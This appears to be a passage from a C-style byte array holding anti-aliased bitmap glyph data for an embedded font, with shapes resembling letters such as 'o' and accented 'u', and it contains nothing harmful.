0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xE6, 0xFF, 0xFF, 0x99, 0x00, 0x6C, 0xFF, 0xFF, 0xFF, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE6, 0xFF, 0xFF, 0x99, 0x00, 0x6C, 0xFF,
0xFF, 0xFF, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xE6, 0xFF, 0xFF, 0x99, 0x00, 0x6C, 0xFF, 0xFF, 0xFF, 0x13, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8A, 0x9F, 0x9F, 0x5A, 0x00,
0x3E, 0x9F, 0x9F, 0x9D, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x35, 0x4E,
0x66, 0x64, 0x58, 0x42, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x47, 0xA7, 0xF3, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xD6, 0x89,
0x1D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x15, 0xA9, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF5, 0x7A, 0x05, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x1D, 0xE3, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFA, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xB0, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0xD5, 0xFF, 0xFF, 0xFF,
0xFF, 0xE1, 0x75, 0x44, 0x14, 0x01, 0x25, 0x55, 0x90, 0xFB, 0xFF, 0xFF, 0xFF, 0xFF, 0xA7, 0x00,
0x00, 0x00, 0x00, 0x00, 0x9D, 0xFF, 0xFF, 0xFF, 0xFF, 0xA8, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x38, 0xE0, 0xFF, 0xFF, 0xFF, 0xFF, 0x44, 0x00, 0x00, 0x00, 0x1D, 0xFA, 0xFF, 0xFF,
0xFF, 0x6D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xC6, 0xFF, 0xFF,
0xFF, 0xC2, 0x00, 0x00, 0x00, 0x91, 0xFF, 0xFF, 0xFF, 0xC4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0xFD, 0xFF, 0xFF, 0xFF, 0x40, 0x00, 0x15, 0xF5, 0xFF,
0xFF, 0xFF, 0x37, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xA0, 0xFF, 0xFF, 0xFF, 0xAD, 0x00, 0x54, 0xFF, 0xFF, 0xFF, 0xAC, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1D, 0xFF, 0xFF, 0xFF, 0xD6, 0x00, 0x76,
0xFF, 0xFF, 0xFF, 0x6F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xE8, 0xFF, 0xFF, 0xF7, 0x01, 0x98, 0xFF, 0xFF, 0xFF, 0x4D, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC3, 0xFF, 0xFF, 0xFF,
0x1A, 0xBB, 0xFF, 0xFF, 0xFF, 0x2A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x9E, 0xFF, 0xFF, 0xFF, 0x3C, 0xD9, 0xFF, 0xFF, 0xFF, 0x09, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8E, 0xFF,
0xFF, 0xFF, 0x45, 0xC9, 0xFF, 0xFF, 0xFF, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAB, 0xFF, 0xFF, 0xFF, 0x24, 0xA4, 0xFF, 0xFF, 0xFF,
0x2F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xCB, 0xFF, 0xFF, 0xFC, 0x05, 0x80, 0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0xDD, 0x00, 0x5B, 0xFF,
0xFF, 0xFF, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x3E, 0xFF, 0xFF, 0xFF, 0xBA, 0x00, 0x36, 0xFF, 0xFF, 0xFF, 0xEA, 0x0B, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAD, 0xFF, 0xFF, 0xFF, 0x85, 0x00,
0x03, 0xD6, 0xFF, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x20, 0xFC, 0xFF, 0xFF, 0xF4, 0x15, 0x00, 0x00, 0x52, 0xFF, 0xFF, 0xFF, 0xE9, 0x1C,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0xB5, 0xFF, 0xFF, 0xFF, 0x87,
0x00, 0x00, 0x00, 0x00, 0xC9, 0xFF, 0xFF, 0xFF, 0xEA, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x0E, 0xC0, 0xFF, 0xFF, 0xFF, 0xF1, 0x12, 0x00, 0x00, 0x00, 0x00, 0x42, 0xFF, 0xFF,
0xFF, 0xFF, 0xFC, 0x80, 0x30, 0x07, 0x00, 0x00, 0x00, 0x1A, 0x4F, 0xCE, 0xFF, 0xFF, 0xFF, 0xFF,
0x71, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x74, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFB, 0xD6,
0xC5, 0xE5, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x85, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x5F, 0xF2, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF5,
0x72, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x17, 0x98, 0xF4, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF5, 0xA6, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x47, 0x81, 0x98, 0xAB, 0xA8, 0x98, 0x80, 0x50, 0x09,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2A, 0x16, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0x00, 0x00, 0x00, 0x37, 0xF0, 0xD5, 0x17, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8E, 0xFF, 0x8C, 0x00, 0x24, 0xF0, 0xFF, 0xFF,
0xD5, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8F, 0xFF, 0xFF, 0xFF, 0x7F, 0x0A, 0xBD,
0xFF, 0xFF, 0xFF, 0xD5, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8F, 0xFF, 0xFF, 0xFF, 0xF4, 0x3E,
0x00, 0x0A, 0xBE, 0xFF, 0xFF, 0xFF, 0xD5, 0x17, 0x00, 0x00, 0x00, 0x90, 0xFF, 0xFF, 0xFF, 0xF4,
0x3E, 0x00, 0x00, 0x00, 0x0A, 0xBE, 0xFF, 0xFF, 0xFF, 0xD5, 0x17, 0x00, 0x91, 0xFF, 0xFF, 0xFF,
0xF4, 0x3E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0xBF, 0xFF, 0xFF, 0xFF, 0xD6, 0xA3, 0xFF, 0xFF,
0xFF, 0xF4, 0x3E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0xBF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xF4, 0x3E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0B, 0xC0, 0xFF,
0xFF, 0xFF, 0xFF, 0xF5, 0x3E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x99, 0xFF, 0xFF, 0xFF, 0xFF, 0xE7, 0x1B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x8E, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xDB, 0x1B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x8E, 0xFF, 0xFF, 0xFF, 0xF4, 0xDB, 0xFF, 0xFF, 0xFF, 0xDB, 0x1B, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x8E, 0xFF, 0xFF, 0xFF, 0xF4, 0x3E, 0x0F, 0xC8, 0xFF, 0xFF, 0xFF, 0xDB, 0x1C,
0x00, 0x00, 0x00, 0x00, 0x8E, 0xFF, 0xFF, 0xFF, 0xF4, 0x3E, 0x00, 0x00, 0x0F, 0xC8, 0xFF, 0xFF,
0xFF, 0xDC, 0x1C, 0x00, 0x00, 0x8E, 0xFF, 0xFF, 0xFF, 0xF4, 0x3E, 0x00, 0x00, 0x00, 0x00, 0x0E,
0xC7, 0xFF, 0xFF, 0xFF, 0xDC, 0x1C, 0x2E, 0xFE, 0xFF, 0xFF, 0xF4, 0x3E, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x0E, 0xC7, 0xFF, 0xFF, 0xFF, 0x97, 0x00, 0x68, 0xFF, 0xF4, 0x3E, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0xC7, 0xFF, 0xC1, 0x0B, 0x00, 0x00, 0x61, 0x3D, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0x86, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0x3D, 0x56, 0x6E, 0x74, 0x5F, 0x32, 0x08, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x37, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4D, 0xB0, 0xF8,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFC, 0xD7, 0x83, 0x0A, 0x00, 0x00, 0x35, 0xF2, 0xEB, 0x18,
0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0xAD, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xE2, 0x56, 0x2B, 0xEC, 0xFF, 0xAE, 0x03, 0x00, 0x00, 0x00, 0x00, 0x1C, 0xE2,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF3, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xC1, 0x08, 0x00, 0x00, 0x00, 0x00, 0x12, 0xD6, 0xFF, 0xFF, 0xFF, 0xFF, 0xDB, 0x71, 0x40,
0x10, 0x00, 0x0A, 0x3F, 0x98, 0xF8, 0xFF, 0xFF, 0xFF, 0xFF, 0xEC, 0x0F, 0x00, 0x00, 0x00, 0x00,
0x00, 0x92, 0xFF, 0xFF, 0xFF, 0xFF, 0xA1, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E,
0xD8, 0xFF, 0xFF, 0xFF, 0xFE, 0x35, 0x00, 0x00, 0x00, 0x00, 0x19, 0xF7, 0xFF, 0xFF, 0xFF, 0x68,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0xB4, 0xFF, 0xFF, 0xFF, 0xFF, 0xC8,
0x01, 0x00, 0x00, 0x00, 0x8E, 0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x9B, 0xFF, 0xF2, 0xFF, 0xFF, 0xFF, 0xFF, 0x51, 0x00, 0x00, 0x15, 0xF5, 0xFF,
0xFF, 0xFE, 0x35, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x87, 0xFF, 0xF5, 0x38,
0x93, 0xFF, 0xFF, 0xFF, 0x9F, 0x00, 0x00, 0x4F, 0xFF, 0xFF, 0xFF, 0xAC, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x71, 0xFF, 0xFB, 0x4A, 0x00, 0x24, 0xFF, 0xFF, 0xFF, 0xE7, 0x01,
0x00, 0x73, 0xFF, 0xFF, 0xFF, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5D, 0xFE,
0xFE, 0x5D, 0x00, 0x00, 0x00, 0xF2, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x96, 0xFF, 0xFF, 0xFF, 0x4C,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4B, 0xFB, 0xFF, 0x73, 0x00, 0x00, 0x00, 0x00, 0xCA,
0xFF, 0xFF, 0xFF, 0x2C, 0x00, 0xB9, 0xFF, 0xFF, 0xFF, 0x2A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x3B, 0xF6, 0xFF, 0x8A, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA1, 0xFF, 0xFF, 0xFF, 0x42, 0x00, 0xD9,
0xFF, 0xFF, 0xFF, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2C, 0xEE, 0xFF, 0xA0, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x8C, 0xFF, 0xFF, 0xFF, 0x49, 0x00, 0xC9, 0xFF, 0xFF, 0xFF, 0x07, 0x00, 0x00,
0x00, 0x00, 0x20, 0xE5, 0xFF, 0xB3, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA5, 0xFF, 0xFF,
0xFF, 0x37, 0x00, 0xA5, 0xFF, 0xFF, 0xFF, 0x20, 0x00, 0x00, 0x00, 0x16, 0xDA, 0xFF, 0xC5, 0x09,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC2, 0xFF, 0xFF, 0xFF, 0x24, 0x00, 0x81, 0xFF, 0xFF,
0xFF, 0x3B, 0x00, 0x00, 0x0D, 0xCD, 0xFF, 0xD4, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xE4, 0xFF, 0xFF, 0xFB, 0x0A, 0x00, 0x5D, 0xFF, 0xFF, 0xFF, 0x84, 0x00, 0x07, 0xBE, 0xFF,
0xE1, 0x1B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3C, 0xFF, 0xFF, 0xFF, 0xC7, 0x00,
0x00, 0x32, 0xFF, 0xFF, 0xFF, 0xE9, 0x09, 0xAD, 0xFF, 0xEC, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xA2, 0xFF, 0xFF, 0xFF, 0x87, 0x00, 0x00, 0x00, 0xC0, 0xFF, 0xFF, 0xFF,
0xDE, 0xFF, 0xF4, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x17, 0xF7, 0xFF,
0xFF, 0xFD, 0x25, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFA, 0x47, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xBA, 0xFF, 0xFF, 0xFF, 0xAC, 0x00, 0x00, 0x00, 0x00,
0x00, 0xBE, 0xFF, 0xFF, 0xFF, 0xF9, 0x49, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07,
0x9C, 0xFF, 0xFF, 0xFF, 0xF3, 0x25, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9A, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0x91, 0x18, 0x00, 0x00, 0x00, 0x00, 0x04, 0x4E, 0xCC, 0xFF, 0xFF, 0xFF, 0xFF, 0x5A, 0x00,
0x00, 0x00, 0x00, 0x00, 0x79, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0xD3, 0xB8, 0xAE,
0xC5, 0xEC, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0x72, 0xFF, 0xFF,
0x70, 0x39, 0xDB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF2,
0x59, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0xEF, 0xFF, 0x76, 0x00, 0x00, 0x0B, 0x90, 0xEE, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF5, 0x97, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x31, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x44, 0x7D, 0x94, 0xAB, 0xA8, 0x9C, 0x85,
0x4B, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F,
0x81, 0x81, 0x81, 0x76, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x07, 0xBB, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0xC9, 0xFF, 0xFF, 0xEF, 0x18,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x13, 0xD5, 0xFF, 0xFF, 0xA9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1B, 0xDF, 0xFF, 0xFF, 0x4A, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0xAD, 0xAF, 0x7A,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0xC8, 0xC8,
0xC8, 0x45, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0xC8, 0xC8,
0xC8, 0x28, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x60, 0xFF, 0xFF, 0xFF,
0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF,
0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A,
0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x60,
0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85,
0xFF, 0xFF, 0xFF, 0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x60, 0xFF,
0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF,
0xFF, 0xFF, 0x3A, 0x5B, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x35, 0x48, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8A, 0xFF, 0xFF, 0xFF, 0x22, 0x35, 0xFF, 0xFF,
0xFF, 0x7F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9F, 0xFF, 0xFF,
0xFF, 0x0F, 0x21, 0xFF, 0xFF, 0xFF, 0x9C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xB9, 0xFF, 0xFF, 0xFB, 0x00, 0x08, 0xF6, 0xFF, 0xFF, 0xE6, 0x03, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0B, 0xF5, 0xFF, 0xFF, 0xD9, 0x00, 0x00, 0xB2, 0xFF, 0xFF,
0xFF, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6C, 0xFF, 0xFF, 0xFF, 0x8C,
0x00, 0x00, 0x63, 0xFF, 0xFF, 0xFF, 0xF1, 0x37, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5D,
0xFD, 0xFF, 0xFF, 0xFF, 0x3D, 0x00, 0x00, 0x10, 0xE6, 0xFF, 0xFF, 0xFF, 0xF0, 0x50, 0x0E, 0x00,
0x00, 0x01, 0x27, 0x76, 0xFD, 0xFF, 0xFF, 0xFF, 0xCD, 0x03, 0x00, 0x00, 0x00, 0x47, 0xFE, 0xFF,
0xFF, 0xFF, 0xFF, 0xFD, 0xD3, 0xC2, 0xF1, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF6, 0x29, 0x00, 0x00,
0x00, 0x00, 0x00, 0x63, 0xF6, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xEB, 0x46, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2D, 0xB4, 0xFB, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xF5, 0xA4, 0x1B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x14, 0x5D, 0x7A, 0x93, 0xA3, 0x8F, 0x77, 0x54, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x81, 0x81, 0x81, 0x24, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x59, 0xFF, 0xFF,
0xFF, 0xC3, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x12, 0xE9, 0xFF, 0xFF, 0xD0, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9D, 0xFF, 0xFF, 0xDC, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0xFF, 0xFF, 0xE6, 0x21, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73,
0xAF, 0xAF, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x46, 0xC8, 0xC8, 0xC8, 0x45, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x63, 0xC8, 0xC8, 0xC8, 0x28, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x60, 0xFF, 0xFF, 0xFF,
0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF,
0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00,
